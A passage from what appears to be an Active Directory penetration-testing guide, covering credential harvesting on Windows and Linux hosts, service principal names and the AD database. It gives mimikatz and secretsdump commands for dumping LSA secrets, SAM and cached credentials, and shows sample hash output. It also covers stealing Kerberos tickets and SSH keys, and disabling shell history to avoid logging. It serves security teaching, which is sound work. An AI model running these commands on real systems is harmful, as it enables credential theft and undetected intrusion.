file).<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">PS C:&gt; whoami\nnt authoritysystem\nPS C:&gt; reg query HKLMSECURITYPolicySecrets\nHKEY_LOCAL_MACHINESECURITYPolicySecrets\n    (Default)    REG_NONE\nHKEY_LOCAL_MACHINESECURITYPolicySecrets$MACHINE.ACC\nHKEY_LOCAL_MACHINESECURITYPolicySecretsDefaultPassword\nHKEY_LOCAL_MACHINESECURITYPolicySecretsDPAPI_SYSTEM\nHKEY_LOCAL_MACHINESECURITYPolicySecretsNL$KM\nHKEY_LOCAL_MACHINESECURITYPolicySecrets_SC_mysql<\/code><\/pre><figcaption>\nLSA Secrets keys<br \/>\n<\/figcaption><\/figure>\n<p>In the LSA secrets you can found:<\/p>\n<dl>\n<dt>\nDomain Computer Account<\/dt>\n<dd>In order to work as part of the domain,<br \/>\nthe computer needs an user account in the domain. Therefore, the username and<br \/>\npassword of this computer account needs to be available to the operating<br \/>\nsystem, so they are stored in the LSA secrets. Also, you have to know that the<br \/>\ncomputer password is <a href=\"https:\/\/adsecurity.org\/?p=280\">changed every 30 days by default<\/a>. This computer account<br \/>\nis used by the <code>SYSTEM<\/code> local account to interact with the domain, but not<br \/>\nlocally, thus, this account has no administrative privileges in the machine.<\/dd>\n<dt>\nService users passwords<\/dt>\n<dd>In order to run services on behalf of an user, the<br \/>\ncomputer needs to store its password. However, the user of the password is not<br \/>\nstored, but the service name, so you may need to investigate what is the<br \/>\nusername.<\/dd>\n<dt>\nAuto-logon password<\/dt>\n<dd>If windows <a href=\"https:\/\/keithga.wordpress.com\/2013\/12\/19\/sysinternals-autologon-and-securely-encrypting-passwords\/\">auto-logon is enabled<\/a>, the password can<br \/>\nbe stored in the LSA secrets. The other alternative is that it is saved in<br \/>\n<code>HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon<\/code><br \/>\nregistry key under the key <code>DefaulUserName<\/code>. The domain and username are<br \/>\nalways stored in <code>DefaultDomainName<\/code> and <code>DefaultUserName<\/code>, respectively.<\/dd>\n<dt>\nDPAPI master keys<\/dt>\n<dd>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/dotnet\/standard\/security\/how-to-use-data-protection\">data protection API<\/a> (DPAPI) is used to allow users<br \/>\nencrypt sensible data without need to worry about cryptographic keys. If you<br \/>\nare able to retrieve the master keys, then you <a href=\"https:\/\/book.hacktricks.xyz\/windows\/windows-local-privilege-escalation\/dpapi-extracting-passwords\">can decrypt users data<\/a>.<\/dd>\n<\/dl>\n<p>Moreover, in the SECURITY hive file, there are also stored the credentials from<br \/>\nthe last <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/user-profiles-and-logon\/cached-domain-logon-information\">domain users logged in the machine<\/a>, known as the Domain cached<br \/>\ncredentials (DCC). Thus, the computer can authenticate the domain user even if<br \/>\nthe connection with the domain controllers is lost. This cached credentials are<br \/>\nMSCACHEV2\/MSCASH hashes, different from the NT hashes, so they cannot be used to<br \/>\nperform a Pass-The-Hash, but you can still try to <a href=\"https:\/\/www.ired.team\/offensive-security\/credential-access-and-credential-dumping\/dumping-and-cracking-mscash-cached-domain-credentials\">crack them<\/a> in order to<br \/>\nretrieve the user password.<\/p>\n<h6 id=\"sam\">\nSAM<\/h6>\n<p>And the other place where there are credentials is the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Security_Account_Manager\">SAM<\/a> hive file, that<br \/>\ncontains the NT hashes of the local users of the computer. This could be useful<br \/>\nsince sometimes organizations set the same local Administrator password in<br \/>\nthe domain computers.<\/p>\n<h6 id=\"dumping-registry-credentials\">\nDumping registry credentials<\/h6>\n<p>To get the credentials from the SECURITY and SAM hives, you can read them from<br \/>\nmemory by using mimikatz.<\/p>\n<p>First you will need to execute <code>token::elevate<\/code> to acquire a <code>SYSTEM<\/code> session,<br \/>\nthat allows you to read the credentials. Also execute <code>privilege::debug<\/code> if<br \/>\nrequired to enable the SeDebugPrivilege.<\/p>\n<p>Then, you can execute the following commands that will retrieve the different<br \/>\ncredentials:<\/p>\n<ul>\n<li><code>lsadump::secrets<\/code>: Get the LSA secrets.<\/li>\n<li><code>lsadump::cache<\/code>: Retrieve the cached domain logons.<\/li>\n<li><code>lsadump::sam<\/code>: Fetch the local account credentials.<\/li>\n<\/ul>\n<p>An alternative is to save a copy of the hive files with <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/reg-save\">reg save<\/a> command, move<br \/>\nthem to our machine, and finally to get the content with <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/secretsdump.py\">impacket secretsdump<\/a><br \/>\nscript or mimikatz.<\/p>\n<p>First you need to dump the registry hives. You will need the SECURITY and SAM<br \/>\nhive files and also the SYSTEM hive since it contains the system Boot Key (or<br \/>\nSystem Key) that allows to decrypt the SECURITY and SAM hives.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">C:&gt;reg save HKLMSYSTEM system.bin\nThe operation completed successfully.\nC:&gt;reg save HKLMSECURITY security.bin\nThe operation completed successfully.\nC:&gt;reg save HKLMSAM sam.bin\nThe operation completed successfully.<\/code><\/pre><figcaption>\nreg command to save registry hives<br \/>\n<\/figcaption><\/figure>\n<p>Once the hives were saved, then move then to your local machine and dump them<br \/>\nwith secretsdump:<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ secretsdump.py -system system.bin -security security.bin -sam sam.bin  LOCAL\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\n[*] Target system bootKey: 0xb471eae0e93128b9c8d5780c19ac9f1d\n[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nDefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nWDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::\nuser:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::\n[*] Dumping cached domain logon information (domain\/username:hash)\nCONTOSO.LOCAL\/mahyar:$DCC2$10240#mahyar#2933cad9235d2f502d7bedc2016e6553\nCONTOSO.LOCAL\/han:$DCC2$10240#han#4a52a6d0d7f3590c68124f4d5f7ef285\n[*] Dumping LSA Secrets\n[*] $MACHINE.ACC \n$MACHINE.ACC:plain_password_hex:59aa6b91e74a0a6fc40efee9f2fb07936a9d69f46397dee82d3ec6ca4d0c01a0293d79e5c040bf564b7938d6c25597816921ec614ad25933af6a2482a8ace4d1dd54dd4bb465384b30046d85f65083e885455ec5f01dcae30df619e3f944eaa008a09e0f7432981f7cdb8dea34e432f00ed92e1ae3e48111326deb2d0f9a6e7d868e24c840b8814d338a4165f90381a4a6b824addb4f71c5908cac4423a4efbc5a4d846c09245930b526a6bec8c678ca838a005dcf5014f8b18426c3e0dbd3921f82c57e6ca025d0258d4536a9e0b68b90ff26c054c992c84d11e95f78c55ca411ee0e5b412cb4fc0f08c28ca2d79996\n$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:b13dae64def5f205f382a0ab4174eb85\n[*] DefaultPassword \n(Unknown User):user\n[*] DPAPI_SYSTEM \ndpapi_machinekey:0x6880eb76862df7875705885938102c696717eb18\ndpapi_userkey:0x828326418633117212de44bcda10806fc6765d4a\n[*] NL$KM \n 0000   0B BC 2E DB A1 A7 E2 42  56 6D B8 4B 5A 37 79 A4   .......BVm.KZ7y.\n 0010   53 51 75 6D 64 7F 9A BF  DC BF C2 83 F4 64 02 A6   SQumd........d..\n 0020   5E E8 53 AB E5 4B 35 A4  5B 19 7E 97 E0 CA 32 6C   ^.S..K5.[.~...2l\n 0030   77 68 E8 F1 C0 54 AD 7B  03 F7 BE 59 2E 59 C3 93   wh...T.{...Y.Y..\nNL$KM:0bbc2edba1a7e242566db84b5a3779a45351756d647f9abfdcbfc283f46402a65ee853abe54b35a45b197e97e0ca326c7768e8f1c054ad7b03f7be592e59c393\n[*] _SC_mysql \n(Unknown User):Solo1234!\n[*] Cleaning up...<\/code><\/pre><figcaption>\nSecretsdump usage to dump<br \/>\n<\/figcaption><\/figure>\n<p>The <code>Dumping cached domain logon information<\/code> section contains the Domain Cached<br \/>\nCredentials. In order to <a href=\"https:\/\/www.ired.team\/offensive-security\/credential-access-and-credential-dumping\/dumping-and-cracking-mscash-cached-domain-credentials\">crack them<\/a>, you need to saved them in format<br \/>\n<code>$DCC2$10240#username#hash<\/code>, then you can use <a href=\"https:\/\/hashcat.net\/\">hashcat<\/a>.<\/p>\n<p>The section <code>$MACHINE.ACC<\/code> contains the computer account password (encoded in<br \/>\nhexadecimal), as well the NT hash.<\/p>\n<p>The section <code>DefaultPassword<\/code> contains the Auto-logon password. In order to get<br \/>\nthe domain and username, you need to check the <code>DefaultDomainName<\/code> and<br \/>\n<code>DefaultUserName<\/code> entries of the<br \/>\n<code>HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon<\/code> registry key.<\/p>\n<p>The <code>DPAPI_SYSTEM<\/code> section contains the master DPAPI keys of the system. These<br \/>\nkeys allow to <a href=\"https:\/\/book.hacktricks.xyz\/windows\/windows-local-privilege-escalation\/dpapi-extracting-passwords\">decrypt the user files<\/a>.<\/p>\n<p>The <code>NK$LM<\/code> give us the <a href=\"https:\/\/www.trustwave.com\/en-us\/resources\/blogs\/spiderlabs-blog\/dumping-lsa-secrets-on-nt5-x64\/\">key used to encrypt the Domain Cached Credentials<\/a>, but<br \/>\nsince secretsdump already decrypt them is only for informational purposes.<\/p>\n<p>Finally, the entries with format <code>_SC_&lt;service&gt;<\/code> are the ones that indicates the<br \/>\npassword of users that are running services. In this case, the <code>mysql<\/code> service.<br \/>\nWe don&#8217;t know the username of the service user, but we can check it in the computer.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-WmiObject win32_service -Filter \"name='mysql'\" | select -ExpandProperty startname\nCONTOSOhan<\/code><\/pre><figcaption>\nShow user account that runs the mysql service<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"powershell-history\">\nPowershell history<\/h5>\n<p>Apart from the LSASS process and registry, you can also search for credentials<br \/>\nin other places like the Powershell history of users. You can use the following<br \/>\ncommands to locate and read the Powershell history.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">(Get-PSReadlineOption).HistorySavePath<\/code><\/pre><figcaption>\nGet the Powershell history path of the current users.<br \/>\n<\/figcaption><\/figure>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">Get-ChildItem C:Users*AppDataRoamingMicrosoftWindowsPowerShellPSReadLineConsoleHost_history.txt<\/code><\/pre><figcaption>\nCheck the Powershell history of all users<br \/>\n<\/figcaption><\/figure>\n<p>Also, as a tip, you may want to use the following command to avoid storing your<br \/>\nown commands in the Powershell history.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">Set-PSReadlineOption -HistorySaveStyle SaveNothing<\/code><\/pre><figcaption>\nDisabling Powershell history<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"other-places-to-found-credentials-in-windows\">\nOther places to found credentials in Windows<\/h5>\n<p>Moreover, you can also search for credentials in scripts or configuration files<br \/>\nlocated in the computer. There are also a lot of software like browsers that<br \/>\nstores credentials that could be useful in a pentest, to check a good list of<br \/>\nsoftware that stores its credentials you can check the <a href=\"https:\/\/github.com\/AlessandroZ\/LaZagne\">LaZagne project<\/a>.<\/p>\n<p>Alternatively, in a pentest or red team engagement, you could also use another<br \/>\ntechniques to get credentials like set <a href=\"https:\/\/www.tarlogic.com\/en\/blog\/how-to-create-keylogger-in-powershell\/\">keyloggers<\/a> or fake <a href=\"https:\/\/adsecurity.org\/?p=1760\">SSP modules<\/a>.<\/p>\n<h3 id=\"linux-computers\">\nLinux computers<\/h3>\n<h4 id=\"linux-computers-discovery\">\nLinux computers discovery<\/h4>\n<p>In order to discovery Linux computers in a domain you can also <a href=\"#windows-computers-discovery\">query to the<br \/>\ndomain database just like with the Windows computers<\/a> by using LDAP in case you<br \/>\nhave domain credentials.<\/p>\n<p>In other case, can be a little more difficult since Linux computers don&#8217;t have<br \/>\nany characteristic port opened by default, however many Linux machines are used<br \/>\nas servers that are remotely administrate. In order to administrate Linux<br \/>\ncomputers, usually the <a href=\"#SSH\">SSH<\/a> protocol is used. The SSH server service listens in<br \/>\nthe port 22 so you can perform a scan to this port in the network in order to<br \/>\nidentify Linux machines.<\/p>\n<h4 id=\"linux-computers-connection\">\nLinux computers connection<\/h4>\n<p>In order to connect to a Linux machine to get a shell in it, the most common<br \/>\noption is to use <a href=\"#SSH\">SSH<\/a>. Sometimes you may even could use <a href=\"#powershell-remoting\">Powershell remoting<\/a>,<br \/>\nsince it can work over SSH.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ ssh root@debian10 \nroot@192.168.100.137's password: \nLinux debian10 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Fri May  7 12:55:20 2021 from 192.168.100.137\nroot@debian10:~#<\/code><\/pre><figcaption>\nSSH connection to a Linux machine<br \/>\n<\/figcaption><\/figure>\n<p>Apart from using username and password, you may can connect by using an SSH key<br \/>\nthat <a href=\"#ssh-keys\">you may can grab from another machine<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ ssh -i id_ed25519_foo_key foo@db.contoso.local<\/code><\/pre><figcaption>\nConnecting to another machine with an SSH key.<br \/>\n<\/figcaption><\/figure>\n<p>Finally in case the target Linux computer is part of the domain, you may <a href=\"https:\/\/www.n00py.io\/2020\/12\/alternative-ways-to-pass-the-hash-pth\/\">be able<br \/>\nto use Kerberos authentication<\/a> with SSH. You can specify the SSH client to use<br \/>\nKerberos authentication by enabling the GSSAPI authentication<br \/>\n(<code>-o GSSAPIAuthentication=yes<\/code>).  You can get a ticket by stolen it<br \/>\n(Pass-The-Ticket), or by requesting it with a NT hash (Overpass-The-Hash) or<br \/>\nKerberos key (Pass-The-Key). You can use <a href=\"https:\/\/github.com\/GhostPack\/Rubeus\">Rubeus<\/a>, <a href=\"https:\/\/github.com\/Zer1t0\/cerbero\">cerbero<\/a> or <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\">impacket<\/a><br \/>\nto request Kerberos tickets with NT hash or Kerberos keys.<\/p>\n<p>Moreover, older Linux machines may have <a href=\"https:\/\/en.wikipedia.org\/wiki\/Telnet\">Telnet<\/a> enabled on port 23. You will need<br \/>\nan username and password to connect to it.<\/p>\n<h4 id=\"linux-computers-credentials\">\nLinux computers credentials<\/h4>\n<p>Unfortunately for attackers, Linux doesn&#8217;t have a lsass process with cached<br \/>\ncredentials. But there are many places that can be interesting to look\u2026<\/p>\n<h5 id=\"linux-kerberos-tickets\">\nLinux Kerberos tickets<\/h5>\n<p>In order to be authenticate users, the Linux machines usually have a Kerberos<br \/>\nclient that is configured with the domain computer account.  You can find the<br \/>\ncredentials in the keytab, usually found in <code>\/etc\/krb5.keytab<\/code>, or in the value<br \/>\nspecified by the environment variables <code>KRB5_KTNAME<\/code> or <code>KRB5_CLIENT_KTNAME<\/code>, or<br \/>\nspecified in the <a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-1.12\/doc\/admin\/conf_files\/krb5_conf.html\">Kerberos configuration file<\/a> in <code>\/etc\/krb5.conf<\/code>. You can<br \/>\ndisplay its contents, including the keys, with <code>klist<\/code> command, or <a href=\"https:\/\/github.com\/Zer1t0\/cerbero\">cerbero<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ klist -k -Ke\nKeytab name: FILE:\/etc\/krb5.keytab\nKVNO Principal\n---- --------------------------------------------------------------------------\n   1 r2d2@contoso.local (DEPRECATED:arcfour-hmac)  (0xc49a77fafad6d3a9270a8568fa453003)<\/code><\/pre><figcaption>\nDisplaying the accounts in the default keytab<br \/>\n<\/figcaption><\/figure>\n<p>In this case there is a configured account with the NT hash (that is used in<br \/>\nRC4-HMAC algorithm of Kerberos). You can use the keys stored to <a href=\"https:\/\/www.tarlogic.com\/en\/blog\/how-to-attack-kerberos\/\">ask for a<br \/>\nKerberos ticket<\/a> an impersonate the user.<\/p>\n<p>Additionally, when a domain user is authenticated in the machine, a Kerberos<br \/>\nticket is retrieved. You can take these tickets and impersonate the users in the<br \/>\ndomain. You can normally found the tickets under the <code>\/tmp<\/code> directory in files<br \/>\nwith the format <code>krb5cc_%{uid}<\/code> where uid is the <a href=\"https:\/\/linuxhandbook.com\/uid-linux\/\">user UID<\/a>. However, it is<br \/>\nalso possible that tickets are stored in the <a href=\"https:\/\/man7.org\/linux\/man-pages\/man7\/keyrings.7.html\">Linux kernel keys<\/a> instead of files,<br \/>\nbut you can grab them and convert to files by using <a href=\"https:\/\/github.com\/TarlogicSecurity\/tickey\">tickey<\/a>. Once you have the<br \/>\nticket files, you can use them to perform a Pass the ticket attack.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ ls \/tmp\/ | grep krb5cc\nkrb5cc_1000\nkrb5cc_1569901113\nkrb5cc_1569901115<\/code><\/pre><figcaption>\nTickets in Linux<br \/>\n<\/figcaption><\/figure>\n<p>In order to be sure <a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-1.12\/doc\/basic\/ccache_def.html\">where the tickets are stored<\/a> in a Linux machine, you can<br \/>\ncheck the <a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-1.12\/doc\/admin\/conf_files\/krb5_conf.html\">Kerberos configuration file<\/a> in <code>\/etc\/krb5.conf<\/code>.<\/p>\n<h5 id=\"linux-user-files\">\nLinux user files<\/h5>\n<p>Apart from that, you can get the credentials stored in the <code>\/etc\/shadow<\/code> file<br \/>\nthat contains the local users passwords. Then you can try to <a href=\"https:\/\/techglimpse.com\/cracking-linux-password-hashes-with-hashcat\/\">crack them by using<br \/>\nhashcat<\/a>. Sometimes passwords are reused across machines. however you cannot<br \/>\nperform a Pass-The-Hash attack since in order to remotely authenticate against a<br \/>\nLinux machine, using <a href=\"#ssh\">SSH<\/a> for example, you require the password.<\/p>\n<h5 id=\"ssh-keys\">\nSSH keys<\/h5>\n<p>Another possibility is to search for <a href=\"#ssh\">SSH<\/a> private keys, usually stored in the<br \/>\n<code>.ssh<\/code> directory of the users directory. The name of the file is usually<br \/>\n<code>id_rsa<\/code> or <code>id_ed25519<\/code>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ file .ssh\/id_ed25519\n.ssh\/id_ed25519: OpenSSH private key<\/code><\/pre><figcaption>\nPrivate key identification<br \/>\n<\/figcaption><\/figure>\n<p>In case the private key doesn&#8217;t require a passphrase for using it, then you may<br \/>\ncan use it to connect to another machines in the domain.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ ssh -i id_ed25519_foo_key foo@db.contoso.local<\/code><\/pre><figcaption>\nConnecting to another machine with the SSH key.<br \/>\n<\/figcaption><\/figure>\n<p>Furthermore, if you can find the <code>known_hosts<\/code> file in <code>.ssh<\/code> directory, and you<br \/>\nare lucky, it may show you the hostnames of the machines that are connected<br \/>\nthrough ssh by using the private keys. However, this file can contain the names<br \/>\nhashed, but you can <a href=\"https:\/\/github.com\/chris408\/known_hosts-hashcat\">crack them with hashcat<\/a>. To create a wordlist of hostnames<br \/>\nyou could query the hostnames of the machines in the domain.<\/p>\n<h5 id=\"bash-history\">\nBash history<\/h5>\n<p>Additionally, you may find more information about ssh connections and other stuff<br \/>\nlike credentials in the command history of the machine users, usually located in<br \/>\nthe <code>.bash_history<\/code> file of the user directory.<\/p>\n<p>By the way, if you want to avoid letting your commands logged in the history,<br \/>\nyou can unset the <code>HISTFILE<\/code> environment variable or using a <a href=\"https:\/\/www.if-not-true-then-false.com\/2010\/quit-bash-shell-without-saving-bash-history\/\">similar<\/a> <a href=\"https:\/\/www.cyberciti.biz\/faq\/disable-bash-shell-history-linux\/\">method<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">unset HISTFILE<\/code><\/pre><figcaption>\nDisable bash history<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"other-places-to-found-credentials-in-linux\">\nOther places to found credentials in Linux<\/h5>\n<p>Likewise, you may be able to find passwords and keys to connect to different<br \/>\nservices (like databases) and machines in configuration files of the software<br \/>\nor scripts located in the machine.<\/p>\n<p>Moreover, you can check the <a href=\"https:\/\/github.com\/AlessandroZ\/LaZagne\">LaZagne project<\/a> for more software that can be<br \/>\nsusceptible of credential stealing.<\/p>\n<h2 id=\"services\">\nServices<\/h2>\n<p>In a domain many machines are used to offer services to the users, so it is<br \/>\nnecessary for Active Directory to keep a track of those services in order to<br \/>\nallow the users to find and authenticate against them.<\/p>\n<p>Active Directory service can be tricky since is not the same as a computer<br \/>\nservice. A service in Windows or Linux machine can be understood as a background<br \/>\nprocess that is continuously executing a task, for example a database. However<br \/>\nit is not necessary for a computer service to be listening on a port, like for<br \/>\nexample a service that checks for available updates for the system.<\/p>\n<p>On the other hand, an Active Directory service is an identifier that indicates<br \/>\nwhat remote services are or can be available (listening on a port) on a machine.<br \/>\nNot all the remote services are registered in the domain database, however, the<br \/>\nregistration is required for those services that need to authenticate domain<br \/>\nusers through Kerberos.<\/p>\n<p>Each registered service in Active Directory provides the following information:<\/p>\n<ul>\n<li>The <strong>user<\/strong> that runs the computer service.<\/li>\n<li>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2003\/cc772815(v=ws.10)#service-principal-names\">service class<\/a>, that indicates what kind of service is, for example web<br \/>\nservers are registered like www class.<\/li>\n<li>The <strong>machine<\/strong> where the service is hosted.<\/li>\n<li>(Optional) The service <strong>port<\/strong> on the machine.<\/li>\n<li>(Optional) A <strong>path<\/strong> for the service.<\/li>\n<\/ul>\n<p>In order to store this information, each service is identified by an<br \/>\n<a href=\"https:\/\/en.hackndo.com\/service-principal-name-spn\/\">Service Principal Name<\/a> (SPN), which has the following format:<\/p>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">service_class\/machine_name[:port][\/path]<\/code><\/pre>\n<p>The machine_name can be the hostname or the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Fully_qualified_domain_name\">FQDN<\/a> (Fully Qualified Domain Name:<br \/>\nthe hostname and domain name joined). It is normal that both formats are stored<br \/>\nfor Kerberos compatibility. For example:<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">ldap\/DC01\nldap\/dc01.contoso.local<\/code><\/pre><figcaption>\nLDAP service SPNs<br \/>\n<\/figcaption><\/figure>\n<p>The SPN will be stored in a user (or computer) object, that way the service user<br \/>\ncan be identified.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADComputer ws01-10 -Properties ServicePrincipalName | select -ExpandProperty ServicePrincipalName\nTERMSRV\/WS01-10\nTERMSRV\/ws01-10.contoso.local\nRestrictedKrbHost\/ws01-10.contoso.local\nHOST\/ws01-10.contoso.local\nRestrictedKrbHost\/WS01-10\nHOST\/WS01-10<\/code><\/pre><figcaption>\nservices of ws01-10 computer<br \/>\n<\/figcaption><\/figure>\n<p>It also important to note that even if the service is currently not being<br \/>\nexecuted, it can be still registered in the Active Directory database. This is<br \/>\nimportant cause old services can lead to account takeover by using <a href=\"https:\/\/www.youtube.com\/watch?v=PUyhlN-E5MU\">Kerberoast<\/a>.<\/p>\n<p>To sum up Kerberoast, you can ask for a Kerberos ticket for any service<br \/>\nregistered in the domain. The Kerberos ticket for the service will have a part<br \/>\nencrypted with the service user secret (that can be the NT hash or Kerberos<br \/>\nkeys) derived from the password. Then you can <a href=\"https:\/\/www.tarlogic.com\/en\/blog\/how-to-attack-kerberos\/\">save the ticket and try to crack<br \/>\nit<\/a> to recover the user password. For computer services this is unfeasible cause<br \/>\nthe password is too complex, but for user services that can have a weak password<br \/>\nthis could be possible to achieve.<\/p>\n<h3 id=\"host-service\">\nHost service<\/h3>\n<p>Moreover, because by default Windows systems deploy a lot of services, in the<br \/>\nmachines by default a <a href=\"https:\/\/en.hackndo.com\/service-principal-name-spn\/#edge-case---host\">HOST<\/a> service class is registered. That <code>HOST<\/code> class is<br \/>\nan alias for several services.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:UsersAdministrator&gt; Get-ADObject -Identity \"CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,$((Get-ADDomain).DistinguishedName)\" -properties sPNMappings\nDistinguishedName : CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=contoso,DC=local\nName              : Directory Service\nObjectClass       : nTDSService\nObjectGUID        : 70502b18-010f-4d33-bbb9-ff85a88c6156\nsPNMappings       : {host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyage\n                    nt,oakley,dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddedsm,nmagent,p\n                    lugplay,protectedstorage,rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,seclog\n                    on,scm,dcom,cifs,spooler,snmp,schedule,tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,\n                    msdtc}<\/code><\/pre><figcaption>\nServices classes identified by HOST<br \/>\n<\/figcaption><\/figure>\n<h2 id=\"database\">\nDatabase<\/h2>\n<p>We have been talking about the domain database and some objects that are stored<br \/>\nin it, such as users, groups or services. Let&#8217;s see now more details about the<br \/>\ndatabase.<\/p>\n<p>Firstly, the physical location of the database is the <code>C:WindowsNTDSntds.dit<\/code><br \/>\nfile, located in the Domain Controllers. Each Domain Controller has its own NTDS<br \/>\nfile and synchronization between Domain Controllers is required in order to keep<br \/>\nthe database up to date.<\/p>\n<h3 id=\"classes\">\nClasses<\/h3>\n<p>But let&#8217;s talk about the database structure. The Active Directory database has<br \/>\nan <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2003\/cc773309(v=ws.10)\">schema<\/a> that defines different <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/classes\">object classes<\/a>. Each class have different<br \/>\nproperties and serves for different purposes. For example, there is the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/c-user\">User class<\/a>, the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/c-computer\">Computer class<\/a> or the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/c-group\">Group class<\/a>.<\/p>\n<p>Moreover, a class can be the subclass of a parent class, that allows to inherit<br \/>\nproperties. For example, the Computer class is a subclass of User class,<br \/>\ntherefore the computer objects can have the same properties of the user objects<br \/>\n,like <code>SAMAccountName<\/code>, and some new custom properties, like <code>OperatingSystem<\/code>.<\/p>\n<p>All the classes are subclasses of the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/c-top\">Top<\/a> class, that defines the essential<br \/>\nproperties like <code>ObjectClass<\/code> or <code>ObjectGUID<\/code>.<\/p>\n<p>The <code>ObjectClass<\/code> property contains a list of the classes of an object, that<br \/>\nis its current class and all of the parent classes.<\/p>\n<p>On the other hand, the <code>ObjectGUID<\/code> property is a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Universally_unique_identifier\">GUID<\/a> (globally unique<br \/>\nidentifier) to identify each object of the database. It must not be confused<br \/>\nwith the <code>SID<\/code> (or <code>SecurityIdentifier<\/code>) property, which is an identifier<br \/>\nrelated to security principals, such as users or groups.<\/p>\n<p>Also is important to note that classes can be attached to auxiliary classes in<br \/>\norder to get its properties. This auxiliary classes 